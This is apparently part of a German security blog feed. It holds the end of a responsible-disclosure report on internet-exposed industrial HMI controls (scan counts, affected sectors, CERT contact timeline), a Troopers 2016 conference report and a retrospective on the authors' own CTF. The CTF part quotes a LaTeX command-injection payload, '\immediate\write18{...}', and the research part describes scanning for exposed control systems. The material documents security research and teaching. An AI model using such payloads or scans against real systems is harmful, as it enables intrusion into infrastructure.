<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, unauthenticated" | wc -l 
</span><span class='line'>42
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Discovered, authenticated" | wc -l 
</span><span class='line'>40 
</span><span class='line'>$&gt; python2 filter-nmap-plugin.py ./nmap-all-ips-plugin-scan.xml | sort -u | grep "Not Discovered" | wc -l
</span><span class='line'>673 </span></code></pre></td></tr></table></div></figure>


<p>Wobei &#8220;unauthenticated&#8221; für Onlinesteuerungen ohne HTTP-Basic-Authenthication steht, und &#8220;authenticated&#8221; entsprechend für die geschützten Systeme. Je nach verwendetem Proxy und Timeout variierten die Ergebnisse ein wenig auf Grund der teilweise langen Antwortzeiten der Systeme.</p>

<h2>Auswertung</h2>

<p>Am Ende haben wir so eine Liste erhalten - mit der wir sehr gut weiterarbeiten und die eigentliche Auswertung starten konnten.
Von den entdeckten Systemen waren ungefähr 50% mittels HTTP-Basic-Authentication abgesichert und genauso viele leider nicht. Dabei korrelierte die HTTP-Authentication meist mit der Verschlüsselung. Nicht besonders geschützten Systeme (ohne HTTP-Authentication) haben wir uns genauer angeschaut, indem wir sie manuell im Browser geöffnet haben. Dabei konnten wir feststellen, dass die HMIs in folgenden Bereichen eingesetzt wurden:</p>

<ul>
<li>Wasserwerke: 4</li>
<li>Parkplatzanlagen: ~10</li>
<li>Smart Homes + Hotels: >5</li>
<li>Biogasanlagen / Blockheizkraftwerke / Fernheizwerke: 7</li>
</ul>


<p>Laut Geo-IP-Location waren vor allem die Länder aus dem DACH Bereich betroffen, aber auch aus den USA, Frankreich, Italien oder Israel. Das liegt vermutlich vor allem daran, dass der Hersteller der Software überwiegend im DACH-Bereich seine Software vertreibt und in anderen Ländern Reseller den Vertrieb übernehmen.</p>

<p>Nach diesen Erkenntnissen wandten wir uns an über 10 CERTs von betroffenen Ländern und schilderten das Problem. Zudem baten wir um eine rasche Kontaktaufnahme mit den jeweiligen Betreibern. Die meisten CERTs bedankten sich für den Hinweis und teilten uns mit, man habe die Informationen weitergeleitet. Tatsächlich konnten wir in den darauffolgenden Wochen feststellen, dass immer mehr Systeme auf unserer Liste offline waren oder den Passwortschutz aktiviert hatten.</p>

<p>Auch das Betreiben eines mittels HTTP-Basic-Authentication geschützten Systems im öffentlichen Internet ist durchaus bedenklich, wenn man es unter dem Gesichtspunkt der IT-Sicherheit betrachtet. Einem Angreifer ist es möglich von außen zu erkennen, dass eine Software genutzt wird, welche sich für Anlagensteuerungen nutzen lässt - mittels der Informationen aus dem WHOIS oder dem IP-Lookup lassen sich ebenfalls Rückschlüsse auf die Betreiber ziehen. Wir haben beispielsweise IP-Adressen gefunden, bei denen eine Zuordnung durch offen zugängliche Informationen möglich war (etwa Stadtwerken und Unternehmen).</p>

<p>Mehr Informationen dazu finden sich in unserem Golem.de-Artikel](http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html)</p>

<h2>Sicherheitslücken</h2>

<p>Im Rahmen der Untersuchung warfen wir ebenfalls einen kleinen Blick auf die Sicherheit der Webapplikation, nachdem Tim an einer Stelle eine Vermutung hatte. Tatsächlich gelang es Sebastian Tims Vermutung in eine erste Cross-Site-Scripting Lücke zu verwandeln. Außerdem entdeckte er noch eine HTTP-Header-Injection. Beide Sicherheitslücken und die Schließung letzterer werden zur Zeit über das Cert-CC mit dem Hersteller koordiniert.</p>

<h2>Updates</h2>

<p>Sobald der Hersteller die Lücken behoben hat und/oder das Cert-CC sein Advisory veröffentlicht, sowie mehr betroffene Systeme offline sind, werden wir nach und nach mehr Informationen und unsere Tools veröffentlichen.</p>

<h2>Timeline</h2>

<p>Damit es möglich ist sich einen Eindruck von dem &#8220;Verlauf der Dinge&#8221; zu verschaffen, teilen wir hier die grobe Timeline:</p>

<ul>
<li><p><strong><em>Oktober 2015</em></strong></p>

<ul>
<li> Beschäftigung mit Industrieroutern / Fund: Prime Tower Webapplikation</li>
</ul>
</li>
<li><p><strong><em>Oktober 2015 - Januar 2016</em></strong></p>

<ul>
<li> Mehrfache Meldung an Betreiberin => 3 Monate, responsible disclosure Zeit abgelaufen</li>
</ul>
</li>
<li><p><strong><em>22.01.2016</em></strong></p>

<ul>
<li> Artikel auf <a href="http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html">golem.de</a></li>
</ul>
</li>
<li><p><strong><em>22.01.2016 (6 Stunden nach Artikelveröffentlichung)</em></strong></p>

<ul>
<li> Offlinenahme der Webapplikation / Statement der Betreiberin <a href="https://hacking-im-web.de/blog-sicherheit-prime-tower.html">(siehe ausführliche Beschreibung und Analyse der Ereignisse)</a></li>
</ul>
</li>
<li><p><strong><em>März / April 2016</em></strong></p>

<ul>
<li> Analyse der gespeicherten Dateien (HTTP-Requests, etc.), schreiben Scanscript und Nutzung &#8220;zmap&#8221;</li>
</ul>
</li>
<li><p><strong><em>Anfang April 2016</em></strong></p>

<ul>
<li> erster Scan auf öffentliche IP-Adressen (Fund von einigen Systemen - teils kritisch, teils weniger kritisch)</li>
</ul>
</li>
<li><p><strong><em>11.04.2016</em></strong></p>

<ul>
<li> Email: Nachfrage bei Hersteller, ob bewusst, dass so viele Systeme online

<ul>
<li> Nachfrage nach Security-Hinweis im Handbuch</li>
<li> Erste Nachfrage zur Unregelmäßigkeit beim Parametern (später werden daraus die Sicherheitslücken)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Mitte April 2016</em></strong></p>

<ul>
<li> Wochenende: weitere Scans / Analyse der Scans: Fund Wasserwerk (!) Tim und Sebastian finden XSS</li>
</ul>
</li>
<li><p><strong><em>17.04.2016</em></strong></p>

<ul>
<li> Email an Bund-CERT (BSI) - Mitteilung über Wasserwerke</li>
</ul>
</li>
<li><p><strong><em>18.04.2016</em></strong></p>

<ul>
<li> BSI Bestätigung: &#8220;Wir werden auf die Betreiber zugehen und uns hier um Abhilfe bemühen.&#8221;</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li> Antwort vom Hersteller - überwiegend allgemeine Infos zu Produkten</li>
</ul>
</li>
<li><p><strong><em>19.04.2016</em></strong></p>

<ul>
<li> Antwort an Hersteller

<ul>
<li> Nennung der XSS Lücke</li>
<li> Erwähnung: Fund Wasserwerk</li>
<li> Nachfrage: Telefonat</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende April 2016</em></strong></p>

<ul>
<li> Sebastian entdeckt HTTP-Header-Injection (Proof of Concept wird an Hersteller geschickt)</li>
</ul>
</li>
<li><p><strong><em>20.05.2016 (1 Monat nach unserer Antwort)</em></strong></p>

<ul>
<li> Antwort vom Hersteller - Telefonat möglich</li>
</ul>
</li>
<li><p><strong><em>20.05.2016</em></strong></p>

<ul>
<li> Telefonat mit Hersteller via Skype</li>
<li> Inhalt:

<ul>
<li> Hersteller sieht sich generell nicht in der Vorantwortung für Kundenprojekte im Internet</li>
<li> Hersteller möchte keine generelle Sicherheitsinfo an Kunden geben, kann aber individuelle Ansprache über Reseller vornehmen</li>
<li> Security-Hinweise: &#8220;in Überarbeitung&#8221;, Übersendung soll im Mai erfolgen</li>
<li> Frage nach Test-Umgebung: kann im Mai zur Verfügung gestellt werden</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Mai</em></strong></p>

<ul>
<li> Sebastian entwickelt neues Script => besseres und schnelleres Scannen möglich

<ul>
<li> Nutzung der Scans von scans.io</li>
<li> Entwicklung eines Plugins für nmap</li>
<li> Durchführung des Intensiv-Scan (Ergebnisliste mit über 120 Treffern, teils mit Authentifizierung, teils ohne)</li>
<li> Erste Sichtung der Ergebnisse (weitere Funde)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>26.05.2016</em></strong></p>

<ul>
<li> Email an Hersteller

<ul>
<li> Nennung der zentralen Scanergebnisse</li>
<li> Bitte um schnelle Behebung der Sicherheitslücken</li>
<li> Bitte Informationen über Reseller zu vermitteln</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Mai 2016</em></strong></p>

<ul>
<li> Versendung von Infos an mehr als 10 CERTs weltweit</li>
</ul>
</li>
<li><p><strong><em>06.06.2016</em></strong></p>

<ul>
<li> Antwort vom Hersteller (letzte erhaltene Email): generelle Informationen</li>
</ul>
</li>
<li><p><strong><em>09.06.2016</em></strong></p>

<ul>
<li> Antwort auf die Email von Hersteller: Konkrete Nachfragen zu den Lücken und Disclosure-Prozess</li>
</ul>
</li>
<li><p><strong><em>17.06.2016</em></strong></p>

<ul>
<li> Letzte Nachfrage bei Hersteller</li>
<li> keine Reaktion:

<ul>
<li>keine Informationen zu den Sicherheitslücken</li>
<li>kein Security-Paper (Handbuch zum sicheren Betrieb) => Sollte bereits im Mai fertig sein.</li>
<li>keine Testumgebung</li>
</ul>
</li>
</ul>
</li>
<li><p><strong><em>Ende Juni / Anfang Juli 2016</em></strong></p>

<ul>
<li> Erneutes Anschreiben zahlreicher CERTs / Betreiber</li>
<li> Abwarten bis Applikationen offline</li>
</ul>
</li>
<li><p><strong><em>Anfang Juli 2016</em></strong></p>

<ul>
<li> Meldung der Sicherheitslücken an das CERT Coordination Center</li>
</ul>
</li>
<li><p><strong><em>15.07.2016</em></strong></p>

<ul>
<li> Veröffentlichung des Artikels auf <a href="http://www.golem.de/news/schwachstellen-aufgedeckt-der-leichtfertige-umgang-mit-kritischen-infrastrukturen-1607-122063.html">golem.de</a></li>
<li> Veröffentlichung des Teaser-Artikels auf <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">Spiegel.de</a></li>
<li> Zahlreiche weitere Medien nehmen die Erkenntnisse aus unserer Untersuchung in die Berichterstattung auf</li>
</ul>
</li>
<li><p><strong><em>16.07.2016</em></strong></p>

<ul>
<li> Veröffentlichung Artikel im <a href="http://www.spiegel.de/spiegel/it-sicherheit-industrie-4-0-anfaellig-fuer-cyberattacken-a-1103685.html">Print Spiegel</a></li>
</ul>
</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Zu Besuch auf Troopers 2016]]></title>
    <link href="https://www.internetwache.org/zu-besuch-auf-troopers-2016-04-04-2016/"/>
    <updated>2016-04-04T17:32:00+02:00</updated>
    <id>https://www.internetwache.org/zu-besuch-auf-troopers-2016</id>
    <content type="html"><![CDATA[<p><a href="https://twitter.com/gehaxelt">Sebastian</a> war dieses Jahr vom 14. bis 18. März auf <a href="http://troopers.de/">Troopers</a>, einem IT Security Event in Heidelberg, welches von der ERNW GmbH organisiert wird. In diesem Blogpost möchte er seinen Eindruck von dem Event schildern - damit diejenigen, die dieses Jahr vielleicht nicht dabei waren, wissen, was es dort sehenswertes gab.</p>

<!-- more -->


<p>Sebastian hatte Gelegenheit dieses Jahr Mitte März nach Heidelberg zu fahren, um auf Troopers einige Eindrücke zu sammeln und nette Personen zu trefffen.</p>

<p>Die Konferenz ließ sich grob in drei Teile gliedern:</p>

<ul>
<li>Die <a href="https://www.troopers.de/troopers16/trainings/">Trainings</a> fanden am 14. und 15. März statt und stellten 1 bis 2-tägige Workshops in verschiedenen Themenbereichen dar. Parallel dazu fand der IPv6-Security-Summit statt.</li>
<li>Die <a href="https://www.troopers.de/troopers16/agenda/">Hauptkonferenz</a> fand am 16. und 17. März statt.</li>
<li>Die <a href="https://www.troopers.de/troopers16/roundtables/">Roundtables</a> schlossen die Konferenz am 18. März ab und stellten eine Möglichkeit zur Diskussion über verschiedene Themen dar.</li>
</ul>


<p>Sebastian hatte sich mit einem &#8220;Student Motivation Letter&#8221; als Student für die Hauptkonferenz beworben und wurde als einer der &#8216;Next Generation Hacker&#8217; angenommen. Nach einer 13-stündigen Busfahrt (aus Berlin) war Sebastian angekommen und traf direkt zwei weitere Studenten-Hacker im Hostel. Am Mittwoch startete die Hauptkonferenz mit einer interessantes Begrüßung und Keynote. Unter den rund 300 Besuchern waren etwa 50 Speaker anwesend. Die Talks waren auf drei verschiedene Tracks verteilt:</p>

<ul>
<li>Attack &amp; Research</li>
<li>Defense &amp; Management</li>
<li>SAP Security</li>
</ul>


<p>Bei so vielen interessanten Talks war es schwer zu entscheiden, welchen man sich anhören sollte, deswegen gibt es hier nur eine kleine Übersicht über Talks die ich ganz interessant fand:</p>

<ul>
<li><a href="https://www.troopers.de/events/troopers16/602_mind_the_gap_-_exploit_free_whitelisting_evasion_tactics/">Casey Smith - Mind The Gap - Exploit Free Whitelisting Evasion Tactics</a></li>
<li><a href="https://www.troopers.de/events/troopers16/630_attacking_next-generation_firewalls/">Felix Wilhelm - Attacking Next-Generation Firewalls</a></li>
<li><a href="https://www.troopers.de/events/troopers16/631_imma_chargin_mah_lazer_-_how_to_protect_against_ddos_attacks/">Oliver Matula - Imma Chargin Mah Lazer - How to protect against (D)DoS attacks</a></li>
<li><a href="https://www.troopers.de/events/troopers16/624_hollywood_hacking/">Adrian Dabrowski - Hollywood Hacking</a></li>
<li><a href="https://www.troopers.de/events/troopers16/691_how_easy_to_grow_robust_botnet_with_low_hanging_fruits_iot_-_for_free/">Attila Marosi - How easy to grow robust botnet with low hanging fruits (IoT) - for free</a></li>
</ul>


<p>Aber die Talks waren nicht die einzige Attraktion auf dieser Konferenz. Nebenbei gab es ein eigenes GSM Netzwerk und lokales CTF. Die Lösungen für diesen, als auch für den PacketWars CTF, finden sich auf <a href="https://0day.work/troopers-2016-challenge-and-packetwars-writeups/">0day.work</a>. PacketWars fand nach dem leckeren Shared Dinner am Mittwochabend statt. Sebastian hat diesen als Teil des Teams &#8216;Squareroots&#8217; bestritten und gemeinsam den 1. Platz erspielt.</p>

<p>Ein weiteres Highlight waren die elektronischen Badges, die am 2. Tag der Hauptkonferenz verteilt wurden:</p>

<p><a rel="fancybox"href="/images/posts/troopers16-badge.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/troopers16-badge.jpg" alt="Bild der elektronischen Badge" title="Elektronische Badge der Trooper 2016" /></a></p>

<p>Ein weiteres tolles Hardware-Gadget zum Selbstlöten war das USB-Kondom. Das ist ein kleiner USB-Adapter, bei dem die USB-Datenleitungen gekappt sind, sodass nur der Strom zum Laden durchgelassen wird.</p>

<p><a rel="fancybox"href="/images/posts/troopers16-usb.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/troopers16-usb.jpg" alt="Bild eines USB-Kondoms" title="Selbstgelötetes USB-Kondom" /></a></p>

<p>Allgemein kann man sagen, dass das Event sehr gut organisiert war. Es hat mir persönlich weitergeholfen und ich habe viele neue nette Menschen getroffen. Ich würde mich freuen nächstes Jahr wieder als Student teilnehmen zu dürfen.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Internetwache CTF 2016 im Rückblick]]></title>
    <link href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/"/>
    <updated>2016-03-06T16:56:00+01:00</updated>
    <id>https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick</id>
    <content type="html"><![CDATA[<p>Vorletztes Wochenende haben wir unser erstes Capture the Flag im jeopardy Style veranstaltet: Den Internetwache CTF 2016</p>

<p>In diesem Blogpost möchten wir aus unserer Sicht einige Dinge zum CTF berichten. Was war das Setup? Was lief schief? Was haben wir gelernt? Was war gut? Was können wir im nächsten Jahr besser machen?
Wir hoffen, dass dieser Artikel vielleicht anderen CTF Veranstaltern in Zukunft helfen kann.</p>

<!-- more -->


<p>Zunächst einmal ein paar Worte zu uns: Sebastian (aka <a href="https://twitter.com/gehaxelt">gehaxelt</a>) hat bereits in der Vergangenheit mit dem Team <code>ENOFLAG</code> an einigen CTFs teilgenommen (jeopardy / attack-defense). <a href="https://twitter.com/TimPhSchaefers">Tim</a> (aka TPS) nimmt nicht an CTFs teil, fand die Idee von Sebastian ein eigenes CTF zu veranstalten allerdings sehr gut und hat ihn deswegen etwas unterstützt.</p>

<p>Im November letzten Jahres hatte Sebastian die Idee, dass man selbst einmal ausprobieren könnte einen jeopardy-style CTF zu veranstalten. Er war interessiert daran Aufgaben für andere Hacker zu erstellen und zu sehen, wie diese mit diesen umgehen. Anfang Febuar 2016 war es dann soweit: Wir haben unseren ersten CTF auf <a href="https://ctftime.org/event/290">ctftime.org</a> angekündigt und haben sogar eine Gewichtung von 5.00 erhalten. Die Wertung hat uns etwas gewundert, da sie von den ctftime.org-Admins subjektiv vergeben wird und wir eigentlich damit gerechnet haben, eine Gewichtung von 0,00 zu erhalten - schließlich haben wir zum ersten Mal ein CTF angekündigt und organisiert. Natürlich würden wir uns freuen, wenn wir diese Gewichtung weiter ausbauen könnten (bspw. im nächsten Jahr) und sich unser CTF positiv weiterentwickerlt :)</p>

<p>Der CTF sollte am 20. Febuar 2016 veranstaltet werden - wir hatten also rund 3 Wochen um alle Vorbereitungen abzuschließen. Die Besonderheit, sofern man von einer Besonderheit sprechen kann, bestand darin, dass wir die Challenges nicht nach Schwierigkeit gestaffelt haben. Das hat mehere Gründe: Erstens ist es immer schwer einzustufen, wie schwierig eine Aufgabe wirklich ist und zweitens sollte das Vorgehen etwas an Klausuren angelehnt sein - bei denen weiß man auch nicht unbedingt auf den ersten Blick welche Aufgaben einem leicht fallen und welche schwer :)</p>

<p>Insgesamt denken wir, dass der CTF nicht schlecht war - auch da wir einige sehr positive Rückmeldungen aus der Community erhalten haben. Wir werden uns einige Rückmeldungen später noch einmal genauer anschauen.</p>

<h2>Einige Zahlen:</h2>

<p>Um einen Eindruck vom CTF zu bekommen - hier einige Zahlen:</p>

<ul>
<li>Scoreboard (Bestenliste): <a href="https://ctf.internetwache.org/scoreboard">https://ctf.internetwache.org/scoreboard</a></li>
<li>Durchführungszeitraum: 36 Stunden (20 Feb. 2016, 12:00 CET — 22 Feb. 2016, 00:00 CET)</li>
<li>Registrierte Teams: ~1500</li>
<li>Aktive Teilnehmerteams: ~650</li>
<li>Teams, welche alle Challenges gelöst haben: 38</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> Bewertung: 4.5</li>
<li><a href="https://ctftime.org/event/290/">Ctftime.org</a> Gewichtung: 5.00</li>
<li>Wall of Shame: 35 IP Adressen</li>
<li>HTTP Anfragen: 2336957</li>
<li>Traffic (Netzwerkverkehr): ~20 GB</li>
<li>Kosten: 20$ (Hosting)</li>
<li>Preis: 0 (Nichts) (Wenn Sie oder Du beim nächsten CTF als Sponsor auftreten möchten - können Sie/Du sich gern bei uns über <a href="https://www.internetwache.org/pgp-kontakt/">Email</a> melden: :) )</li>
</ul>


<p>Wir waren sehr erfreut, dass es tatsächlich 650 aktive Teams gab (die mindestens eine Challenge gelöst haben). Das ist etwas weniger als 50% der registrierten Nutzer. Etwas enttäuscht waren wir von 35 Leuten, da sie offensichtlich nicht aufmerksam die Regeln gelesen haben und mit aggressiven Tools das CTF überlisten wollten - dadurch haben sie sich alle einen Platz in unseren Iptables verdient. Wie auch immer, einigen Leuten haben wir nach einer Entschuldigung auch wieder Zugang gewährt :). Eine andere Sache die wir überschätzt haben, war der Traffic - im Großen und Ganzen hielt unser Aufbau der Belastung gut Stand.</p>

<h2>Setup</h2>

<p>Im Bereich Hosting haben wir auf <a href="https://m.do.co/c/e3c0f58ce639">Digitalocean.com</a> vertraut, weil wir dort noch einiges an <a href="https://www.internetwache.org/bug-bounty-digitalocean-schliesst-mehrere-csrf-lucken-12-03-2014/">Belohnung</a> auf unserem Account hatten und Sebastian bislang sehr zufrieden mit dem Anbieter war. Ein weiterer Grund war, dass die Dienste dort prima funktionieren
- VMs lassen sich in weniger als einer Minute hochfahren oder sichern (snapshotten) - was das Austesten von Konfigurationen erleichert.</p>

<p>Insgesamt haben wir uns 4 virtuelle Maschinen (VMs) angemietet:</p>

<ul>
<li>1x $5/mo als Monitoring VM, welche Performance-Daten der anderen VMs eingesammelt und dargestellt hat. Dazu haben wir <a href="https://collectd.org/">Collectd</a> genutzt.</li>
<li>3x $80/mo VMs als Proxy, Service und Webserver VMs.</li>
</ul>


<p>Die Domains <code>*.ctf.internetwache.org</code> zeigte auf eine &#8220;floating-ip&#8221;, welche wiederum auf die Proxy-VM verwies. Alle 4 virtuelle Maschinen waren über Digitaloceans privates Netzwerk verbunden.</p>

<p>Auf der Proxy-VM war NGINX konfiguriert, welches als Load-Balancer für HTTP(s) und TCP Traffic dienen sollte.
Der Web-Traffic wurde zu der Webserver-VM und der TCP-Verkehr zur Service-VM weitergeleitet. Dieser zentrale Proxy erlaubte es uns, bösartige Angreifer dort direkt zu stoppen und bei Bedarf auf mehr VMs zu skalieren.
Die Webserver-VM nutzte Apache2, MySQL und php5. Wir nutzten das <a href="http://mpm-itk.sesse.net/">apache2-mpm-itk</a> Modul, um jedem VHost einen eigenen Benutzer zuzuweisen. Die Service-VM nutzte Tools wie <a href="http://cr.yp.to/daemontools.html">Daemontools</a> und <a href="http://cr.yp.to/ucspi-tcp/tcpserver.html">TCPServer</a>, um die Services bereitzustellen. Alle VMs hatten <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/ch01.html">Cgroups</a> konfiguriert, um die Ressourcen der Nutzer der Gruppe <code>ctf</code> zu limitieren.</p>

<p>Das gezeigt Setup erwies sich als stets solide, wir hatten während des CTFs keine massiven Performanceeinbrüche. Rückblickend hätten wir sogar noch kleinere VMs wählen können - dadurch hätte man allerdings auch nur rund ~$6,5 gespart und zudem wollten wir uns gerade bei unserem ersten CTF keine Panne bei zu enger Ressourcenplanung erlauben.
Während des CTFs kam es nur zu einem sehr kleinem Zwischenfall, bei dem wir einschreiten mussten.</p>

<p>Wir haben unser <a href="https://github.com/internetwache/tinyctf-platform">Spielpanel</a> basierend auf der <a href="https://github.com/balidani/tinyctf-platform">tinyctf-platform</a> aufgebaut. Es ist in Python geschrieben und lässt sich einfach erweitern (wir haben beispielsweise einen CSRF Schutz und einige andere Features eingebaut). Das Scoreboard ist nun Internetwache erprobt und wir werden es sicherlich noch einmal einsetzen - vielleicht im nächsten Jahr.</p>

<h2>Challenges</h2>

<p>Schauen wir uns einmal die Challenges an. Insgesamt gab es 6 Kategorien mit je 5 Challenges:</p>

<h3>Misc</h3>

<ul>
<li>Misc50: Octal und Base64 Kodierung</li>
<li>Misc60: Base64 und QR Codes</li>
<li>Misc70: Pcap Dump mit einer Zipdatei</li>
<li>Misc80: DNS Requests und Hex</li>
<li>Misc90: Barcodes</li>
</ul>


<h3>Web</h3>

<ul>
<li>Web50: PHP magic hashes</li>
<li>Web60: PHP preg_replace mit e modifier RCE</li>
<li>Web70: MySQL truncation vulnerability</li>
<li>Web80: Öffentlicher Git Ordner</li>
<li>Web90: Latex RCE</li>
</ul>


<h3>Rev</h3>

<ul>
<li>Rev50: MIPS assembly</li>
<li>Rev60: Dateiinhaltsprüfungen</li>
<li>Rev70: Switch case Eingabeprüfungen</li>
<li>Rev80: TapeBagel Reversing</li>
<li>Rev90: Rubiks Cube mit Flagge</li>
</ul>


<h3>Crypto</h3>

<ul>
<li>Crypto50: Mehrere Chiffren hintereinander</li>
<li>Crypto60: RSA Schlüsselfaktorisierung</li>
<li>Crypto70: Hash Kollisionen</li>
<li>Crypto80: Stegano / DTMF</li>
<li>Crypto90: Bearbeitung des Ciphertextes</li>
</ul>


<h3>Code</h3>

<ul>
<li>Code50: Gleichungen lösen</li>
<li>Code60: Primzahlen finden</li>
<li>Code70: Kodierte Gleichungen lösen</li>
<li>Code80: Eine Zeichenkette bruteforcen</li>
<li>Code90: BST Baumoperationen</li>
</ul>


<h3>Exploit</h3>

<ul>
<li>Exp50: Ruby Regex</li>
<li>Exp60: Integer-Overflow</li>
<li>Exp70: Variable-Overflow</li>
<li>Exp80: Formatstring Lücke</li>
<li>Exp90: NodeJS &#8216;shell&#8217;</li>
</ul>


<p>Alle Challenges und einige Konfigurationen sind <a href="https://github.com/internetwache/Internetwache-CTF-2016">in unserem GitHub Repository</a> zu finden.</p>

<p><em>Easter-Egg: Alle Portnummern waren Primzahlen</em></p>

<h2>Probleme die aufgetreten sind</h2>

<p>Wir sind auch nur Menschen und wir alle machen Fehler oder stellen während des CTF Fehler fest. Wir finden es wichtig über diese Fehler zu sprechen:</p>

<h3>Web70</h3>

<p>Die angestrebte Lösung für diese Aufgabe war die Nutzung einer sogenannten &#8221;<a href="https://haiderm.com/column-truncation-sql-injection-vulnerability/">mysql truncation vulnerability</a>&#8221;. Diese Schachstelle funktionierte bedauerlicherweise so gut, dass sobald eine Personen einen Exploit erfolgreich ausgeführt hat, andere Teams einfach in der Lage waren sich einzuloggen - zum Beispiel mit <code>admin/admin</code> oder ähnlichen Kombinationen. Das machte die Challenge sehr trivial, aus diesem Grund haben wir die diese einige Zeit offline genommen und einen Quick-and-Dirty Fix implementiert, welcher das Problem behoben hat.</p>

<h3>Web90</h3>

<p>Während der Erstellung dieser Challenge dachte Sebastian an einen bestimmten Lösungsweg. Allerdings vergaß er den Filter um <code>\write18</code> zu erweitern, sodass die Challenge trivial mit <code>\immediate\write18{Kommando}</code> lösbar war. Wie auch immer, wir bemerkten diesen Bug leider viel zu spät, als das es noch fair gewesen wäre, ihn zu beheben. Wir hoffen aber, dass ihr trotzdem was gelernt habt :)
Sebastian wird irgendwann über die geplante Lösung einen <a href="https://0day.work">Blogpost auf 0day.work</a> veröffentlichen.</p>

<h3>Rev90</h3>

<p>Das war die Rubik&#8217;s Cube Challenge. Sebastian hat leider einen kleinen Fehler beim Verwürfeln gemacht. Eine korrigierte Version der README wurde während dem CTF hochgeladen. Entschuldigung dafür! (Wie auch immer, es gab noch einen anderen Weg diese Challenge zu lösen.)</p>

<h3>Crypto50</h3>

<p>Das schien aus unserer Sicht eine einfache Challenge zu sein, allerdings stellte es sich als etwas zu schwierig (zu viel raten?) für die Teilnehmer heraus. Wir hätten die Beschreibung klarer machen sollen.</p>

<h3>Code70</h3>

<p>Das Zeitformat (<code>TIME:CHAR</code>) war ein wenig unklar.</p>

<h3>Code90</h3>

<p>Die Beschreibung war ein wenig uneindeutig, was das Eingabe-/Ausgabeformat anging.</p>

<h3>Dauer</h3>

<p>Die Dauer war eine weitere Sache, die wir überschätzt haben und etwas kürzer hätten wählen sollen. Wir hatten das Gefühl, dass nach 24 Stunden nicht mehr viel Aktivität vorhanden war. Nur noch ein paar Teams, welche die verbleibenden Challenges noch lösen wollten. Allerdings gab es in den letzten Stunden nochmal einen Ansturm. Einige teilten uns mit, dass längere CTFs gut für Einsteigerteams sind und das <a href="https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown">Zeitzonen-Tageslicht-Differenzen</a> vermeidet, sodass es kein so großes Problem darstellte. Der nächste CTF wird bestimmt etwas kürzer sein (ungefähr 12 Stunden). Sebastian hat festgestellt, dass 2 Flaschen <a href="http://www.clubmate.de/">Club Mate</a> ausreichend sind, um 40 Stunden am Stück wach zu bleiben :)</p>

<h3>Schwierigkeit</h3>

<p>Da dies der erste CTF war, den wir gehostet haben, war es schwer für uns die Schwierigkeit der Aufgaben abzuschätzen. Es stellte sich heraus, dass die Aufgaben ein wenig zu einfach waren. Wie auch immer und oben schon erwähnt, half es Neuankömmlingen zu lernen, wie man CTFs spielt und/oder diese funktionieren. Wir geben uns nächstes Mal noch mehr Mühe!</p>

<h3>Weniger Hinweise</h3>

<p>Wir erhielten die Kritik, dass wir zu viele Hinweise im privaten Chat vergeben haben. Rückblickend mag das richtig sein, aber wir haben versucht die Teilnehmer motiviert zu halten. Daher stellten wir Fragen wie &#8216;Wo hängst du fest?&#8217;, &#8216;Was hast du schon probiert?&#8217;, &#8216;Was kennst du noch?&#8217;, &#8216;Was kannst du dir noch (aus)denken?&#8217; und ließen die Fragenden dann die Lösung herausfinden. Unserer Meinung nach reduziert das die Frustration und erhöht das Lernvermögen. Aber nächstes Mal werden wir versuchen die Hinweise allgemeiner zu halten oder öffentlich preiszugeben. (Eine seperate Hinweis-Seite ist eine gute Idee)</p>

<p>Insgesamt lässt sich sagen, dass sich diese Probleme durch noch ausgiebiegeres Testen hätten verhindern lassen können.</p>

<h3>Beschreibbare Ordner</h3>

<p>Einige Leute teilten uns mit, dass sie eine Challenge durch das &#8216;Greppen&#8217; nach dem Flaggenformat auf dem Dateisystem gelöst haben.
Das führte leider zu einigen trivialen Flaggen, denn einige Ordner wie <code>/tmp</code> enthielten temporäre Lösungsdateien anderer Teams. Wir haben diese Probleme während dem CTF behoben, in dem wir ACLs nutzten, um die Schreibrechte, der Nutzer der Gruppe <code>ctf</code> für die Ordner <code>/tmp</code>, <code>/var/tmp</code> und so weiter, zu entfernen.</p>

<h3>Lastspitzen</h3>

<p>Es gab einen interessanten Vorfall. Wir wissen immer noch nicht richtig, was genau passiert ist, aber die Last (Load) sprang plötzlich auf 2600 und ungefähr 6 GB Ram wurden zur gleichen Zeit ausgelastet. Es sieht so aus, als hätte das Cgroups-Limit von 6 GB Ram gegriffen. Interessanterweise war die VM während des Vorfalls reaktionsfähig und ein Neustart von Apache hat das Problem beseitigt.</p>

<p><a rel="fancybox"href="/images/posts/ctf16-load.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ctf16-load.png" alt="Hohe Lastspitze" title="Hohe Last" /></a></p>

